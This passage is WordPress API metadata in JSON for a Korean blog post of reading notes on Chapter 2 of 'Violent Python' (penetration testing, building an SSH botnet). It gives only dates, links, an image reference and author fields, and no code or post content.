\uad6c\ucd95\ud558\uae30","datePublished":"2013-07-22T05:22:58+00:00","dateModified":"2013-09-12T23:38:47+00:00","mainEntityOfPage":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819"},"wordCount":72,"commentCount":2,"image":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#primaryimage"},"thumbnailUrl":"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg","keywords":["\uc2a4\ud130\ub514","\uce58\uba85\uc801\ud30c\uc774\uc36c"],"articleSection":["Python\/Ruby\/Perl","Reading"],"inLanguage":"ko-KR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/apollo89.com\/wordpress\/?p=3819#respond"]}]},{"@type":"WebPage","@id":"https:\/\/apollo89.com\/wordpress\/?p=3819","url":"https:\/\/apollo89.com\/wordpress\/?p=3819","name":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30 - Apollo89.com","isPartOf":{"@id":"https:\/\/apollo89.com\/wordpress\/#website"},"primaryImageOfPage":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#primaryimage"},"image":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#primaryimage"},"thumbnailUrl":"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg","datePublished":"2013-07-22T05:22:58+00:00","dateModified":"2013-09-12T23:38:47+00:00","author":{"@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82"},"breadcrumb":{"@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#breadcrumb"},"inLanguage":"ko-KR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/apollo89.com\/wordpress\/?p=3819"]}]},{"@type":"ImageObject","inLanguage":"ko-KR","@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#primaryimage","url":"https:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg","contentUrl":"https:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/03\/VIOLENT_PYTHON_S.jpg","width":172,"height":220},{"@type":"BreadcrumbList","@id":"https:\/\/apollo89.com\/wordpress\/?p=3819#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\ud648","item":"https:\/\/apollo89.com\/wordpress"},{"@type":"ListItem","position":2,"name":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c &#8211; CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 &#8211; SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30"}]},{"@type":"WebSite","@id":"https:\/\/apollo89.com\/wordpress\/#website","url":"https:\/\/apollo89.com\/wordpress\/","name":"Apollo89.com","description":"\uc544\ud3f4\ub85c\uc528\uc758 \uc7a1\ub2e4\ud55c \uacbd\ud5d8\ub4e4..","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/apollo89.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ko-KR"},{"@type":"Person","@id":"https:\/\/apollo89.com\/wordpress\/#\/schema\/person\/93f56825cac3b2f18e5f107995066c82","name":"apollo89","description":"\uc544\ud3f4\ub85c89 \uc785\ub2c8\ub2e4.","url":"https:\/\/apollo89.com\/wordpress\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/3819","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3819"}],"version-history":[{"count":0,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/3819\/revisions"}],"wp:attachment":[{"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3819"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3819"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/apollo89.com\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3819"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}